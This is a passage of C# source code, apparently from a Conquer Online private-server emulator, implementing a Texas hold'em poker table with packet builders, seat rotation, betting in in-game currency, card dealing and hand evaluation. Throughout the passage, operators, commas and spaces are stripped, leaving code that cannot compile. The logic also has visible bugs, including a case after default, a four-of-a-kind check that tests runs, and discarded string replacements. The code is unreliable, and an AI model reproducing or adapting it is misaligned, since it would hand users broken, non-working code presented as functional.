//requierd bet  
            
Writer.Ulong(Id124mazen);
            
//PlayerId  
            
return mazen.ToArray();
        }
//AbdoMatrix Mr.keka 
        //2093 
        
public static byte[] PokerPlayerMove(uint PlayerIdbyte Typuint Betuint RequierdBet)
        {
            
PacketBuilder P = new PacketBuilder(209320);
            
P.Short(0);
            
P.Short(Typ);//move type 32 =all in one 
            
P.Long(Bet);//player bet 
            
P.Long(RequierdBet);//requierd bet 
            
P.Long(PlayerId);
            return 
P.getFinal();
        }
//AbdoMatrix Mr.keka 
        //2094 
        
public static byte[] PokerShowAllCards(PokerTable T)
        {
            
PacketBuilder P = new PacketBuilder(2094T.Players.Count 12);
            
P.Short(0);// 
            
P.Short(T.Players.Count);
            foreach (
PokerPlayer Pl in T.Players.Values)
            {
                
byte Card1Val 0Card1Type 0Card2Val 0Card2Type 0byte Co 0;
                foreach (
PokerCard C in Pl.MyCards.Values)
                {
                    
Co++;
                    if (
Co == 1)
                    {
                        
Card1Val C.ValCard1Type = (byte)C.Typ;
                    }
                    else if (
Co == 2)
                    {
                        
Card2Val C.ValCard2Type = (byte)C.Typ;
                    }
                }
                
P.Short(Card1Val);
                
P.Short(Card2Val);
                
P.Short(Card1Type);
                
P.Short(Card2Type);
                
P.Long(Pl.PlayerId);
            }
            return 
P.getFinal();
        }
        
//2095 
        
public static byte[] PokerRoundResult(PokerTable Tuint WinnerIduint MoneyWins)
        {
            
PacketBuilder P = new PacketBuilder(2095T.Players.Count 15);
            
P.Short(20);//Timer 
            
P.Short(T.Players.Count);
            
P.Int(0);
            
P.Int(0);
            
P.Int(0);
            
P.Long(WinnerId);
            
P.Long(MoneyWins);
            
P.Long(0);
            foreach (
PokerPlayer Pl in T.Players.Values)
            {
                try
                {
                    
byte ContinuePlaying 0;
                    if (
Pl.PlayerId == WinnerId) continue;
                    if (
T.BetType == 0)
                        if (
Pl.MyChar.Money >= T.MinLimit 10)
                            
ContinuePlaying 0;
                        else 
ContinuePlaying 1;
                    else if (
T.BetType == 1)
                        if (
Pl.MyChar.ConquerPoints >= T.MinLimit 10)
                            
ContinuePlaying 0;
                        else 
ContinuePlaying 1;
                    if (
ContinuePlaying == 0)
                        
P.Int(0);
                    else
                    {
                        
P.Int(1);
                        
Pl.CurrentState 2;
                    }
                    
P.Int(255);
                    
P.Int(0);
                    
P.Long(Pl.PlayerId);
                    
P.Long(0xffffffff Pl.Bet);
                    
P.Short(0xffff);
                    
P.Short(0xffff);
                }
                catch
                {
                    
P.Int(0);
                    
P.Int(255);
                    
P.Int(0);
                    
P.Long(Pl.PlayerId);
                    
P.Long(0xffffffff Pl.Bet);
                    
P.Short(0xffff);
                    
P.Short(0xffff);
                }
            }
            return 
P.getFinal();
        }
        
//2096 
        
public static byte[] PokerLeaveTable(uint Id1)
        {
            
PacketBuilder P = new PacketBuilder(209616);

            
P.Long(1);// 
            
P.Long(0);
            
P.Long(Id1);
            return 
P.getFinal();
        }
        
//2098 
        
public static byte[] PokerTableState(PokerTable Tbyte CountDown)
        {
            
PacketBuilder P = new PacketBuilder(209845 T.Players.Count 11);
            
uint Id1 0Id2 0Id3 0Id4 0Id5 0Id6 0byte Counter 0;
            foreach (
PokerPlayer Pl in T.Players.Values)
            {
                
Counter++;
                if (
Counter == 1Id1 Pl.PlayerId;
                else if (
Counter == 2Id2 Pl.PlayerId;
                else if (
Counter == 3Id3 Pl.PlayerId;
                else if (
Counter == 4Id4 Pl.PlayerId;
                else if (
Counter == 5Id5 Pl.PlayerId;
                else if (
Counter == 6Id6 Pl.PlayerId;
            }
            
P.Short(0);
            
P.Int(T.Players.Count);//Players Count 
            
P.Int(CountDown);//Time Count Down 
            
P.Int(0);
            
P.Short(0);
            
P.Long(0);
            
P.Long(0);
            
P.Long(Id1);
            
P.Long(Id2);

            
P.Long(Id3);
            
P.Long(Id4);
            
P.Long(Id5);
            
P.Long(Id6);
            
P.Short(0);
            foreach (
PokerPlayer Pl in T.Players.Values)
            {
                
P.Int(2);
                
P.Int(4);
                
P.Int(13);
                
P.Int(0);
                
P.Int(4);
                
P.Int(13);
                
P.Int(0);

                
P.Long(Pl.PlayerId);
            }
            return 
P.getFinal();
        }
    }
    public class 
PokerTable
    
{
        public 
uint Id 0;
        public 
byte Nomber 0;
        public 
uint Map 0;
        public 
ushort X 0;
        public 
ushort Y 0;
        public 
uint MinLimit 1000;
        public 
bool FreeBet true;
        public 
byte _State = (byte)PokerTableState.UnOpened;
        public 
byte StartSeat 0;
        public 
byte CurrentSeat 0;
        public 
uint _StartingPlayer 0;
        public 
byte RoundStage 0;
        public 
uint RoundMaxBet 0;
        public 
System.Timers.Timer RoundTimer = new System.Timers.Timer();
        public 
System.Timers.Timer MoveTimer = new System.Timers.Timer();
        public 
PokerTableState State
        
{
            
get
            
{
                return (
PokerTableState)_State;
            }
            
set
            
{
                
_State = (byte)value;
            }
        }
        public 
uint Pot 0;
        public 
byte BetType 1;//Silver=0 CPs=1; 
        
public Dictionary<uintPokerPlayerPlayers = new Dictionary<uintPokerPlayer>(10);
        public 
Dictionary<bytePokerPlayerSeats
        
{
            
get
            
{
                
Dictionary<bytePokerPlayerSes = new Dictionary<bytePokerPlayer>(10);
                foreach (
PokerPlayer P in Players.Values)
                {
                    if (
P.CurrentState == 1Ses.Add(P.SeatP);
                }
                return 
Ses;
            }
        }
        public 
Dictionary<uintPokerPlayerWatchers = new Dictionary<uintPokerPlayer>(10);
        public 
Dictionary<bytePokerCardCards = new Dictionary<bytePokerCard>(52);
        public 
Dictionary<bytePokerCardTableCards = new Dictionary<bytePokerCard>(5);
        public 
uint PlayerBySeat(byte S)
        {
            
uint I 0;
            foreach (
PokerPlayer P in Players.Values)
                if (
P.Seat == SP.PlayerId;
            return 
I;
        }
        public 
uint GetStartingPlayer()
        {
            if (
Players.Count 2) return 0;
            
uint I 0;
            
StartSeat++;
            if (
StartSeat 9StartSeat 0;
            for (
byte x StartSeat10x++)
            {
                
PlayerBySeat(x);
                if (
0)
                {
                    
StartSeat x;
                    break;
                }
            }
            if (
== 0)
            {
                for (
byte x 0StartSeatx++)
                {
                    
PlayerBySeat(x);
                    if (
0)
                    {
                        
StartSeat x;
                        break;
                    }
                }
            }
            return 
I;
        }
        public 
PokerPlayer StartingPlayer
        
{
            
get
            
{
                if (
Players.ContainsKey(_StartingPlayer))
                    return 
Players[_StartingPlayer];
                else return 
null;
            }
        }
        public 
uint GetNextPlayer()
        {
            if (
Players.Count 2) return 0;
            
uint I 0byte StartSe StartSeat;
            if (
StartSe 9StartSe 0;
            for (
byte x StartSe10x++)
            {
                
PlayerBySeat(x);
                if (
0)
                {
                    if (
== GetLastPlayer()) continue;
                    break;
                }
            }
            if (
== 0)
            {
                for (
byte x 0StartSex++)
                {
                    
PlayerBySeat(x);
                    if (
0)
                    {
                        if (
== GetLastPlayer()) continue;
                        break;
                    }
                }
            }
            return 
I;
        }
        public 
uint GetLastPlayer()
        {
            if (
Players.Count 2) return 0;
            
uint I 0byte CurrentSeat StartSeat;
            if (
CurrentSeat 1CurrentSeat 9;
            for (
byte x CurrentSeat0x--)
            {
                
PlayerBySeat(x);
                if (
0)
                {
                    break;
                }
            }
            if (
== 0)
            {
                if (
PlayerBySeat(0) > 0) return PlayerBySeat(0);
                for (
byte x 9StartSeatx--)
                {
                    
PlayerBySeat(x);
                    if (
0)
                    {
                        break;
                    }
                }
            }
            return 
I;
        }
        public 
void SetNewRound(byte CountDown)
        {
            
Dictionary<uintPokerPlayerNotConnectedAnymore = new Dictionary<uintPokerPlayer>();
            foreach (
PokerPlayer P in Players.Values)
            {
                if (!
P.ConnectedNotConnectedAnymore.Add(P.PlayerIdP);
                else if (
P.CurrentState == 2)
                    if (!
Watchers.ContainsKey(P.PlayerId))
                        
Watchers.Add(P.PlayerIdP);
            }
            foreach (
PokerPlayer P in NotConnectedAnymore.Values)
                
RemovePlayer(P.PlayerId);
            foreach (
PokerPlayer P in Watchers.Values)
            {
                if (
P.CurrentState == 3)
                {
                    if (!
Players.ContainsKey(P.PlayerId))
                        
Players.Add(P.PlayerIdP);
                }
                else if (
P.CurrentState == 2)
                {
                    if (
Players.ContainsKey(P.PlayerId))
                        
Players.Remove(P.PlayerId);
                }
            }
            foreach (
PokerPlayer P in Players.Values)
            {
                if (
Watchers.ContainsKey(P.PlayerId))
                    
Watchers.Remove(P.PlayerId);
                
P.MyCards.Clear();
                
P.CurrentState 1;
                
P.RoundState 0;
                
P.HandVals "";
                
P.Bet MinLimit;
                if (
BetType == 0)
                {
                    if (
P.MyChar.Money >= MinLimit)
                        
P.MyChar.Money -= MinLimit;
                    else 
P.MyChar.Money 0;
                }
                else if (
BetType == 1)
                {
                    if (
P.MyChar.ConquerPoints >= MinLimit)
                        
P.MyChar.ConquerPoints -= MinLimit;
                    else 
P.MyChar.ConquerPoints 0;
                }
            }
            
Cards.Clear();
            
TableCards.Clear();
            
RoundStage 0;
            for (
byte Y 04Y++)
            {
                
PokerCardsType T PokerCardsType.Hearts;
                if (
== 1PokerCardsType.Spades;
                else if (
== 2PokerCardsType.Clubs;
                else if (
== 3PokerCardsType.Diamonds;
                for (
byte x 013x++)
                {
                    
PokerCard Pc = new PokerCard();
                    
Pc.Id = (byte)(+ (13 Y));
                    
Pc.Typ T;
                    
Pc.Val x;
                    
Cards.Add(Pc.IdPc);
                }
            }
            if (
RoundTimer != null && RoundTimer.Enabled)
            {
                
RoundTimer.Stop();
                
RoundTimer.Dispose();
                
RoundTimer null;
                
RoundTimer = new System.Timers.Timer();
            }
            else if (
RoundTimer == null)
            {
                
RoundTimer = new System.Timers.Timer();
            }
            
RoundTimer.Interval CountDown 1000;
            
RoundTimer.Elapsed += delegate
            
{
                if (
Players.Count && Pot 1)
                {
                    
DrawCards(1false);
                    
Pot MinLimit;
                    
RoundMaxBet MinLimit;
                    
_StartingPlayer GetStartingPlayer();
                    
SendToAll(PokerPackets.PokerCards1Card(this));
                    
DrawCards(1false);
                    foreach (
PokerPlayer Pl in Players.Values)
                    {
                        
Pl.Bet MinLimit;
                        
Pl.Send(PokerPackets.PokerCards2Cards(thisPl.MyCards));
                    }
                    
SendToAll(PokerPackets.PokerPlayerTurn(_StartingPlayerMinLimitMinLimit 22230));
                    
StartMoveTimer(30_StartingPlayer);
                    
RoundTimer.Stop();
                    
RoundTimer.Dispose();
                    
RoundTimer null;
                }
            };
            
RoundTimer.Start();
            
SendToAll(PokerPackets.PokerPlayerTurn(0000CountDown));
            
Data D = new Data(true);
            
D.ID 234;
            
D.UID Id;
            
D.dwParam = (uint)(MinLimit Players.Count);
            
SendToAll(D.ToArray());
        }
        public 
void StartMoveTimer(byte CountDownuint PlayerId)
        {
            if (
MoveTimer != null && MoveTimer.Enabled)
            {
                
MoveTimer.Stop();
                
MoveTimer.Dispose();
                
// MoveTimer = null; 
            
}
            
MoveTimer = new System.Timers.Timer();
            
MoveTimer.Interval CountDown 1000;
            
MoveTimer.Elapsed += delegate
            
{
                
byte[] FoldMe = new byte[10];
                
FoldMe[6] = 4;
                
NewPlayerMove(FoldMePlayerId);
                
MoveTimer.Stop();
                
MoveTimer.Dispose();
            };
            
MoveTimer.Start();
        }

        public 
bool FreeSeat(byte Seat)
        {
            
bool Free true;
            foreach (
PokerPlayer P in Players.Values)
            {
                if (
P.Seat == SeatFree false;
            }
            foreach (
PokerPlayer P in Watchers.Values)
            {
                if (
P.CurrentState == 3)
                    if (
P.Seat == SeatFree false;
            }
            return 
Free;
        }
        public 
void AddNewPlayer(Entity Pbyte Seatbool Player)
        {
            
P.PokerTable this.Id;
            
PokerPlayer Pl = new PokerPlayer();
            
Pl.PlayerId P.UID;
            
Pl.TableId Id;
            
Pl.Seat Seat;
            if (
Player)
            {
                if (
Pot 0Pl.RoundState 4;
                if (!
Players.ContainsKey(Pl.PlayerId))
                    
Players.Add(Pl.PlayerIdPl);
                
ToLocal(PokerPackets.PokerTable(this));
            }
            else
            {
                if (!
Watchers.ContainsKey(Pl.PlayerId))
                    
Watchers.Add(Pl.PlayerIdPl);
            }
        }
        public 
void RemovePlayer(uint Id)
        {
            if (
Players.ContainsKey(Id))
            {
                try
                {
                    
lock (Players)
                    {
                        foreach (
PokerPlayer P in Players.Values)
                        {
                            
P.Send(PokerPackets.PokerLeaveTable(Id));
                        }
                    }
                    
lock (Watchers)
                    {
                        foreach (
PokerPlayer P in Watchers.Values)
                        {
                            
P.Send(PokerPackets.PokerLeaveTable(Id));
                        }
                    }
                    if (
Players[Id].MyChar != null)
                        
Players[Id].MyChar.PokerTable 0;
                    
Players.Remove(Id);
                }
                catch { }
            }
            else if (
Watchers.ContainsKey(Id))
            {
                
lock (Players)
                {
                    foreach (
PokerPlayer P in Players.Values)
                        
P.Send(PokerPackets.PokerLeaveTable(Id));
                }
                
lock (Watchers)
                {
                    foreach (
PokerPlayer P in Watchers.Values)
                        
P.Send(PokerPackets.PokerLeaveTable(Id));
                }
                if (
Watchers[Id].MyChar != null)
                    
Watchers[Id].MyChar.PokerTable 0;
                
Watchers.Remove(Id);
            }
            
ToLocal(PokerPackets.PokerLeaveTable(Id));
            
ToLocal(PokerPackets.PokerTable(this));
        }
        public 
void SendToAll(byte[] P)
        {
            foreach (
PokerPlayer Player in Players.Values)
                
Player.Send(P);
            foreach (
PokerPlayer Player in Watchers.Values)
                
Player.Send(P);
        }
        public 
PokerCard GetNewCard()
        {
            
Random Rand = new Random();
            
PokerCard PC = new PokerCard();
            
int Rnd Rand.Next(52);
            
PC.Id = (byte)Rnd;
            while (!
Cards.ContainsKey(PC.Id))
            {
                
PC.Id = (byte)Rand.Next(52);
            }
            
PC Cards[PC.Id];
            return 
PC;
        }
        public 
void DrawCards(byte Countbool Table)
        {
            try
            {
                if (!
Table)
                {
                    for (
byte x 0Countx++)
                    {
                        foreach (
PokerPlayer P in Players.Values)
                        {
                            if (!
P.Connected) continue;
                            if (
P.CurrentState 1) continue;
                            
PokerCard C GetNewCard();
                            
C.PlayerId P.PlayerId;
                            
P.MyCards.Add(C.IdC);
                            if (
Cards.ContainsKey(C.Id)) Cards.Remove(C.Id);
                        }
                    }
                    return;
                }
                
byte Co = (byte)TableCards.Count;
                for (
byte x Co< (byte)(Count Co); x++)
                {
                    
PokerCard C GetNewCard();
                    
C.PlayerId 0;
                    
TableCards.Add(xC);
                    if (
Cards.ContainsKey(C.Id)) Cards.Remove(C.Id);
                }
            }
            catch (
Exception xp) { Console.WriteLine(xp.ToString()); }
        }
        public 
void NewPlayerMove(byte[] Puint PlayerId)
        {
            if (
Pot == 0) return;
            try
            {
                if (
Players.ContainsKey(PlayerId))
                {
                    if (
MoveTimer != null && MoveTimer.Enabled)
                    {
                        
MoveTimer.Stop();
                        
MoveTimer.Dispose();
                        
//  MoveTimer = null; 
                    
}
                    
PokerPlayer Pl Players[PlayerId];
                    
byte Move P[6]; byte CSeat Pl.Seat;
                    
Pl.RoundState Move;
                    
uint ReqPot Pot;
                    
//Program.NewMsg("PokerMove " + Move); 
                    
switch (Move)
                    {
                        
#region Rise // Call
                        
case 2://call 
                            
{
                                
Pot += MinLimit;
                                
Pl.Bet += MinLimit;
                                if (
Pl.Bet RoundMaxBetRoundMaxBet Pl.Bet;
                                if (
BetType == 0)
                                    
Pl.MyChar.Money -= MinLimit;
                                else if (
BetType == 1)
                                {
                                    if (
Pl.MyChar.ConquerPoints >= MinLimit)
                                        
Pl.MyChar.ConquerPoints -= MinLimit;
                                    else 
Pl.MyChar.ConquerPoints 0;
                                }
                                
Data D = new Data(true);
                                
D.ID 234;
                                
D.UID Id;
                                
D.dwParam Pot;
                                
SendToAll(D.ToArray());
                                
SendToAll(PokerPackets.PokerPlayerMove(PlayerIdMovePl.BetPot));
                                break;
                            }
                        case 
8:
                            {

                                break;
                            }
                        case 
16://Rise 
                            
{
                                
uint Botting MinLimit MinLimit;
                                
Pot += Botting;
                                
Pl.Bet += Botting;
                                if (
Pl.Bet RoundMaxBetRoundMaxBet Pl.Bet;
                                if (
BetType == 0)
                                    
Pl.MyChar.Money -= Botting;
                                else if (
BetType == 1)
                                {
                                    if (
Pl.MyChar.ConquerPoints >= Botting)
                                        
Pl.MyChar.ConquerPoints -= Botting;
                                    else 
Pl.MyChar.ConquerPoints 0;
                                }
                                
Data D = new Data(true);
                                
D.ID 234;
                                
D.UID Id;
                                
D.dwParam Pot;
                                
D.Data24_Uint RoundMaxBet;
                                
SendToAll(D.ToArray());
                                
SendToAll(PokerPackets.PokerPlayerMove(PlayerIdMovePl.BetPot));
                                break;
                            }
                        
#endregion
                        #region Fold
                        
case 4://AbdoMatrix Mr.keka 
                            
{
                                if (
P[9] == 200)
                                {
                                    
//RemoveThis = true; 
                                    
RemovePlayer(PlayerId);
                                }
                                else if (
Players.ContainsKey(PlayerId))
                                {
                                    
SendToAll(PokerPackets.PokerPlayerMove(PlayerIdMoveMinLimitPot));
                                    
Players[PlayerId].MyCards.Clear();
                                    
Players[PlayerId].RoundState 4;
                                }
                                break;
                            }
                        default: 
SendToAll(P); break;
                        
#endregion
                        #region AllIn
                        
case 32://AbdoMatrix Mr.keka 
                            
{
                                
uint Betting 0;
                                if (
BetType == 0)
                                {
                                    
Betting = (uint)Pl.MyChar.Money;
                                    
Pl.MyChar.Money 0;
                                }
                                else if (
BetType == 1)
                                {
                                    
Betting = (uint)Pl.MyChar.ConquerPoints;
                                    
Pl.MyChar.ConquerPoints 0;
                                }
                                
Pot += Betting;
                                
Pl.Bet += Betting;
                                if (
Pl.Bet RoundMaxBetRoundMaxBet Pl.Bet;
                                
Pl.RoundState 4;
                                
Data D = new Data(true);
                                
D.ID 234;
                                
D.UID Id;
                                
D.dwParam Pot;
                                
D.Data24_Uint RoundMaxBet;
                                
SendToAll(D.ToArray());
                                
SendToAll(PokerPackets.PokerPlayerMove(PlayerIdMovePl.BetPot));
                                break;
                            }
                        
#endregion
                    
}
                    
uint NextPlayer GetNextSeat(CSeattrue);
                    
#region No More Players available
                    
if (NextPlayer == Pl.PlayerId)
                    {
                        
EndRound(NextPlayer);
                        return;
                    }
                    else if (
Players.ContainsKey(NextPlayer) && NextPlayer == GetNextSeat(Players[NextPlayer].Seatfalse))
                    {
                        
EndRound(NextPlayer);
                        return;
                    }
                    
#endregion
                    
switch (RoundStage)
                    {
                        
#region Send First 3 table cards
                        
case 1:
                            {
                                if (
TableCards.Count 3)
                                {
                                    
DrawCards(3true);
                                    
Dictionary<bytePokerCardTC = new Dictionary<bytePokerCard>(3);
                                    
TC.Add(0TableCards[0]);
                                    
TC.Add(1TableCards[1]);
                                    
TC.Add(2TableCards[2]);
                                    
SendToAll(PokerPackets.PokerTableCards(TCthis1));
                                }
                                break;
                            }
                        
#endregion
                        #region Send Forth table card
                        
case 2:
                            {
                                if (
TableCards.Count 4)
                                {
                                    
DrawCards(1true);
                                    
Dictionary<bytePokerCardTC = new Dictionary<bytePokerCard>(1);
                                    if (
TableCards.ContainsKey(3))
                                        
TC.Add(3TableCards[3]);
                                    
SendToAll(PokerPackets.PokerTableCards(TCthis2));
                                }
                                break;
                            }
                        
#endregion
                        #region Send Fifth table cards
                        
case 3:
                            {
                                if (
TableCards.Count 5)
                                {
                                    
DrawCards(1true);
                                    
Dictionary<bytePokerCardTC = new Dictionary<bytePokerCard>(1);
                                    if (
TableCards.ContainsKey(4))
                                        
TC.Add(4TableCards[4]);
                                    
SendToAll(PokerPackets.PokerTableCards(TCthis3));
                                }
                                break;
                            }
                        
#endregion
                        
case 4:
                            {
                                
EndRound(0);
                                return;
                            }
                    }
                    if (
RoundStage == 4) { return; }
                    else
                    {
                        
uint PlayerBet 0;
                        
byte CallType = (byte)PokerCallTypes.Fold;
                        
PokerPlayer Playr null;
                        
bool JustAllin false;
                        if (
Players.ContainsKey(NextPlayer))
                        {
                            
PlayerBet Players[NextPlayer].Bet;
                            
Playr Players[NextPlayer];
                            if (
RoundMaxBet PlayerBet)
                            {
                                
CallType += (byte)PokerCallTypes.Check;
                            }
                            else 
CallType += (byte)PokerCallTypes.Call;
                            if (
BetType == 0)
                            {
                                if (
Playr.MyChar.Money RoundMaxBetJustAllin true;
                                else if (
Playr.MyChar.Money MinLimitJustAllin true;
                                if (
Playr.MyChar.Money >= MinLimit 2CallType += (byte)PokerCallTypes.Rise;
                            }
                            else if (
BetType == 1)
                            {
                                if (
Playr.MyChar.ConquerPoints RoundMaxBetJustAllin true;
                                else if (
Playr.MyChar.ConquerPoints MinLimitJustAllin true;
                                if (
Playr.MyChar.ConquerPoints >= MinLimit 2CallType += (byte)PokerCallTypes.Rise;
                            }

                        }
                        if (
JustAllinCallType = (byte)PokerCallTypes.AllIn;
                        
SendToAll(PokerPackets.PokerPlayerTurn(NextPlayerMinLimitRoundMaxBetCallType30));
                        
StartMoveTimer(30NextPlayer);
                    }
                }
            }
            catch (
Exception xp) { Console.WriteLine(xp.ToString()); }
        }
//AbdoMatrix Mr.keka 
        
public void EndRound(uint WinnerId)
        {
            
SendToAll(PokerPackets.PokerPlayerTurn(000030));
            try
            {
                if (
MoveTimer != null || MoveTimer.Enabled)
                {
                    
MoveTimer.Stop();
                    
MoveTimer.Dispose();
                    
//  MoveTimer = null; 
                
}
            }
            catch { }
            
uint WinsVal Pot - (Pot 10);
            
#region Check Winner
            
if (WinnerId == 0)
            {
                
ushort HighestPower 0;
                
ulong HighestHandPower 0;
                
SendToAll(PokerPackets.PokerShowAllCards(this));
                foreach (
PokerPlayer Pla in Players.Values)
                {
                    if (
Pla.RoundState == || !Pla.Connected) continue;
                    
////  Dictionary<byte, PokerCard> TC = new Dictionary<byte, PokerCard>(7); 
                    //  byte Counter = 5; 
                    //  foreach (byte x in TableCards.Keys) 
                    //  { 
                    //      TC.Add(x, TableCards[x]); 
                    //  } 
                    //  foreach (byte x in Pla.MyCards.Keys) 
                    //  { 
                    //      TC.Add(Counter, Pla.MyCards[x]); 
                    //      Counter++; 
                    //  } 
                    
ulong HP GetHandPower(Pla.MyCardsPla);
                    if (
HP HighestHandPower)
                    {
                        
HighestHandPower HP;
                        
WinnerId Pla.PlayerId;
                        
HighestPower Pla.GetFullPower(Pla.MyCards);
                    }
                    else if (
HP == HighestHandPower)
                    {
                        if (
Pla.GetFullPower(Pla.MyCards) > HighestPower)
                        {
                            
WinnerId Pla.PlayerId;
                            
HighestPower Pla.GetFullPower(Pla.MyCards);
                        }
                    }
                }
            }
            
#endregion
            
if (Players.ContainsKey(WinnerId))
            {
                if (
BetType == 0)
                    
Players[WinnerId].MyChar.Money += WinsVal;
                else if (
BetType == 1)
                    
Players[WinnerId].MyChar.ConquerPoints += WinsVal;
            }
            
SendToAll(PokerPackets.PokerRoundResult(thisWinnerIdWinsVal));
            
Pot 0;
            
#region Start new round
            
if (Players.Count 2) return;
            else
            {
                
Pot 0;

                
SetNewRound(30);

            }
            
#endregion
        
}
        public 
void ToLocal(byte[] P)
        {
            
Client.GameClient[] Locals = new Client.GameClient[Program.Values.Length];
            
Locals Kernel.GamePool.Values.ToArray();
            foreach (
Client.GameClient client in Locals)
            {
                if (
client != null)
                {
                    if (
client.Map.ID == Map)
                    {
                        if (
Kernel.GetDistance(client.Entity.Xclient.Entity.YXY) > 25)
                        {
                            continue;
                        }
                        
client.Send(P);
                    }

                }
            }
        }
//AbdoMatrix Mr.keka 
        
public uint GetNextSeat(byte Seatbool Next)
        {
            try
            {
                
Dictionary<bytePokerPlayerSes Seats;
                
uint Id 0;
                
byte Se = (byte)(Seat 1);
                
bool Found false;
                while (!
Found)
                {
                    if (
Ses.ContainsKey(Se))
                    {
                        if (
Ses[Se].RoundState == || !Ses[Se].Connected) { }
                        else
                        {
                            
Found true;
                            break;
                        }
                    }
                    
Se++;
                    if (
Se 9Se 0;
                }
                
Id Ses[Se].PlayerId;
                if (
Id == _StartingPlayer && NextRoundStage++;
                return 
Id;
            }
            catch (
Exception xp) { Console.WriteLine(xp.ToString()); return 0; }
        }
        public 
ulong GetHandPower(Dictionary<bytePokerCardhandPokerPlayer Pl)
        {
            
ulong _hand 0;
            
ulong board 0;
            foreach (var 
item in hand.Values)
            {
                
_hand |= HoldemHand.Hand.CardMasksTable[item.Id];
            }
            foreach (var 
item in this.TableCards.Values)
            {
                
board |= HoldemHand.Hand.CardMasksTable[item.Id];
            }
            return 
HoldemHand.Hand.Evaluate((ulong)(board _hand));
            
#region old
            /*  byte Power = 0; bool SameSuit = true; 
            string Vals = ""; byte Suit = 5; 
            byte Clubs = 0, Diamonds = 0, Hearts = 0, Spades = 0; 
            Dictionary<byte, PokerCard> Ha = new Dictionary<byte, PokerCard>(); 
            #region Sort 
            for (byte x = 0; x < Hand.Count; x++) 
            { 
                byte Val = 53; byte Inde = 100; 
                foreach (byte C in Hand.Keys) 
                { 
                    if (Suit == 5) Suit = (byte)Hand[C].Typ; 
                    else if (Suit != (byte)Hand[C].Typ) SameSuit = false; 
                    if (Hand[C].Typ == PokerCardsType.Clubs) Clubs++; 
                    else if (Hand[C].Typ == PokerCardsType.Diamonds) Diamonds++; 
                    else if (Hand[C].Typ == PokerCardsType.Hearts) Hearts++; 
                    else if (Hand[C].Typ == PokerCardsType.Spades) Spades++; 
                    if (Hand[C].Val < Val && !Ha.ContainsKey(C)) 
                    { 
                        Inde = C; Val = Hand[C].Val; 
                    } 
                } 
                if (Hand.ContainsKey(Inde)) 
                { 
                    Ha.Add(Inde, Hand[Inde]); 
                } 
            } 
            #endregion 
            foreach (byte x in Ha.Keys) 
            { 
                byte Val = Ha[x].Val; 
                if (Val == 10) Vals += "A"; 
                else if (Val == 11) Vals += "B"; 
                else if (Val == 12) Vals += "C"; 
                else Vals += Val.ToString(); 
            } 
            if (Clubs > 4 || Diamonds > 4 || Spades > 4 || Hearts > 4) SameSuit = true; 
            Pl.HandVals = Vals; 
            if (SameSuit && IsRoyal(Vals)) Power = (byte)PokerHandPower.RoyalFlush; 
            else if (SameSuit && IsStraight(Vals)) Power = (byte)PokerHandPower.StraightFlush; 
            else if (IsFourOfAKind(Vals)) Power = (byte)PokerHandPower.FourOfAKind; 
            else if (IsThreeOfAKind(Pl)) 
            { 
                if (IsPair(Pl)) Power = (byte)PokerHandPower.FullHouse; 
            } 
            else if (SameSuit) Power = (byte)PokerHandPower.Flush; 
            else if (IsStraight(Vals)) Power = (byte)PokerHandPower.Straight; 
            else Pl.HandVals = Vals; 
            if (Power == 0) 
            { 
                if (IsPair(Pl)) 
                { if (IsPair(Pl)) Power = (byte)PokerHandPower.TwoPairs; } 
                else Pl.HandVals = Vals; 
                if (IsThreeOfAKind(Pl)) Power = (byte)PokerHandPower.ThreeOfAKind; 
                else if (IsPair(Pl)) Power = (byte)PokerHandPower.Pair; 
            }//AbdoMatrix Mr.keka 
            return Power;*/
            #endregion old
        
}

        public 
bool IsRoyal(string HandVals)
        {
            if (
HandVals.Contains("89ABC")) return true;
            else return 
false;
        }
        public 
bool IsStraight(string HandVals)
        {
            
bool Straight false;
            
string V HandVals;
            if (
V.Contains("01234") || V.Contains("12345") || V.Contains("23456")) Straight true;
            else if (
V.Contains("34567") || V.Contains("45678") || V.Contains("56789")) Straight true;
            else if (
V.Contains("6789A") || V.Contains("789AB") || V.Contains("89ABC")) Straight true;
            else if (
V.Contains("C0123")) Straight true;
            return 
Straight;
        }
        public 
bool IsFourOfAKind(string HandVals)
        {
            
bool Yes false;
            
string V HandVals;
            if (
V.Contains("0123") || V.Contains("1234") || V.Contains("2345")) Yes true;
            else if (
V.Contains("3456") || V.Contains("4567") || V.Contains("5678")) Yes true;
            else if (
V.Contains("6789") || V.Contains("789A") || V.Contains("89AB")) Yes true;
            else if (
V.Contains("9ABC") || V.Contains("C012")) Yes true;
            else if (
V.Contains("0000") || V.Contains("1111") || V.Contains("2222")) Yes true;
            else if (
V.Contains("3333") || V.Contains("4444") || V.Contains("5555")) Yes true;
            else if (
V.Contains("6666") || V.Contains("7777") || V.Contains("8888")) Yes true;
            else if (
V.Contains("9999") || V.Contains("AAAA") || V.Contains("BBBB")) Yes true;
            else if (
V.Contains("CCCC")) Yes true;
            return 
Yes;
        }
        public 
bool IsThreeOfAKind(PokerPlayer Pl)
        {
            
bool Yes false;
            
string V Pl.HandVals;
            if (
V.Contains("012") || V.Contains("123") || V.Contains("234")) Yes true;
            else if (
V.Contains("345") || V.Contains("456") || V.Contains("567")) Yes true;
            else if (
V.Contains("678") || V.Contains("789") || V.Contains("89A")) Yes true;
            else if (
V.Contains("9AB") || V.Contains("ABC") || V.Contains("C01")) Yes true;
            else if (
V.Contains("000") || V.Contains("111") || V.Contains("222")) Yes true;
            else if (
V.Contains("333") || V.Contains("444") || V.Contains("555")) Yes true;
            else if (
V.Contains("666") || V.Contains("777") || V.Contains("888")) Yes true;
            else if (
V.Contains("999") || V.Contains("AAA") || V.Contains("BBB")) Yes true;
            else if (
V.Contains("CCC")) Yes true;
            if (
V.Contains("CCC")) V.Replace("CCC""");
            else if (
V.Contains("BBB")) V.Replace("BBB""");
            else if (
V.Contains("AAA")) V.Replace("AAA""");
            else if (
V.Contains("999")) V.Replace("999""");
            else if (
V.Contains("888")) V.Replace("888""");
            else if (
V.Contains("777")) V.Replace("777""");
            else if (
V.Contains("666")) V.Replace("666""");
            else if (
V.Contains("555")) V.Replace("555""");
            else if (
V.Contains("444")) V.Replace("444""");
            else if (
V.Contains("333")) V.Replace("333""");
            else if (
V.Contains("222")) V.Replace("222""");
            else if (
V.Contains("111")) V.Replace("111""");
            else if (
V.Contains("000")) V.Replace("000""");
            else if (
V.Contains("ABC")) V.Replace("ABC""");
            else if (
V.Contains("C01")) V.Replace("C01""");
            else if (
V.Contains("9AB")) V.Replace("9AB""");
            else if (
V.Contains("89A")) V.Replace("89A""");
            else if (
V.Contains("789")) V.Replace("789""");
            else if (
